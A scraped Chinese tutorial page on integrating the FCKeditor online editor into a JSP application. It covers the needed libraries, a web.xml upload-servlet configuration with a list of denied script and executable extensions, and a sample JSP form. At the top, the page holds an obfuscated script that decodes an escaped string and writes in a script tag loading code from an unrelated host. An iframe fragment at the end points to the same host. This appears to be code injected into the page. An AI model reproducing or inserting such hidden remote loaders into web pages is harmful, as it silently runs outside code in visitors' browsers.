HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
在JSP中使用FCKeditor
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
在
JSP
中使用
FCKeditor
1.1
运行库
commons-fileupload-1.1.jar
FCKeditor-2.3.jar
1.2
编辑器版本
FCKeditor 2.0
FCKeditor
是一套在线编辑器,它几乎囊括了现在网上所有的在线编辑器的功能,功能的实现相当完善,同时可自由定制功能按钮,支持多种语言环境下配置安装
1.3
使用步骤
1.3.1
Web
应用目录结构
1.3.2
Web.xml
配置说明
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<display-name>demo</display-name>
<servlet>
<servlet-name>Connector</servlet-name>
<!—
用于列出上传文件清单
-->
<servlet-class>com.fredck.FCKeditor.connector.ConnectorServlet</servlet-class>
<init-param>
<param-name>baseDir</param-name>
<param-value>/UserFiles/</param-value>
<!—
上传文件存放路径
-->
</init-param>
<init-param>
<param-name>debug</param-name>
<!—
显示调试信息
-->
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
<!—
启动时加载
-->
</servlet>
<servlet>
<servlet-name>SimpleUploader</servlet-name>
<!—
用于上传文件
-->
<servlet-class>com.fredck.FCKeditor.uploader.SimpleUploaderServlet</servlet-class>
<init-param>
<param-name>baseDir</param-name>
<!—
上传文件存放路径
-->
<param-value>/UserFiles/</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<!—
显示调试信息
-->
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>enabled</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>DeniedExtensionsFile</param-name>
<!—
拒绝上传文件类型清单
-->
<param-value>php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi</param-value>
</init-param>
<init-param>
<param-name>AllowedExtensionsImage</param-name>
<!—
允许上传图片类型清单
-->
<param-value>jpg|gif|jpeg|png|bmp</param-value>
</init-param>
<init-param>
<param-name>AllowedExtensionsFlash</param-name>
<!—
允许上传
Flash
类型清单
-->
<param-value>swf|fla</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Connector</servlet-name>
<url-pattern>/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector</url-pattern>
<!—
用于列出上传文件清单的
servlet
映射
-->
</servlet-mapping>
<servlet-mapping>
<servlet-name>SimpleUploader</servlet-name>
<url-pattern>/FCKeditor/editor/filemanager/upload1/simpleuploader</url-pattern>
</servlet-mapping>
<!—
用于上传文件的
servlet
映射
-->
<taglib>
<taglib-uri>FCK</taglib-uri>
<!—
标签库映射
-->
<taglib-location>/WEB-INF/classes/FCKeditor.tld</taglib-location>
</taglib>
</web-app>
1.3.3
JSP
引用方式
1.3.4
运行演示
1.3.5
JSP
原文
<%@page contentType="text/html; charset=GBK"%>
<%@taglib uri="FCK" prefix="FCK"%>
<html>
<head>
<title>index</title>
</head>
<body bgcolor="#ffffff">
<form action="postdata.jsp" name="form1" method="POST">
文档标题:
<input type="text" name="test" value="
测试数据
" />
<FCK:editor id="EditorDefault" basePath="/FCKeditor/"
fontNames="
宋体
;Arial;Courier New;Times New Roman;Verdana"
imageBrowserURL="/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector"
linkBrowserURL="/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector"
flashBrowserURL="/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/jsp/connector"
imageUploadURL="/FCKeditor/editor/filemanager/upload1/simpleuploader?Type=Image"
linkUploadURL="/FCKeditor/editor/filemanager/upload1/simpleuploader?Type=File"
flashUploadURL="/FCKeditor/editor/filemanager/upload1/simpleuploader?Type=Flash">
以下内容为
<strong>
测试数据
</strong>.
欢迎使用
<a href="http://www.fredck.com/fckeditor/">FCKeditor</a>.
</FCK:editor>
<input type="submit" value="
提交
"/>
</form>
</body>
</html>
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">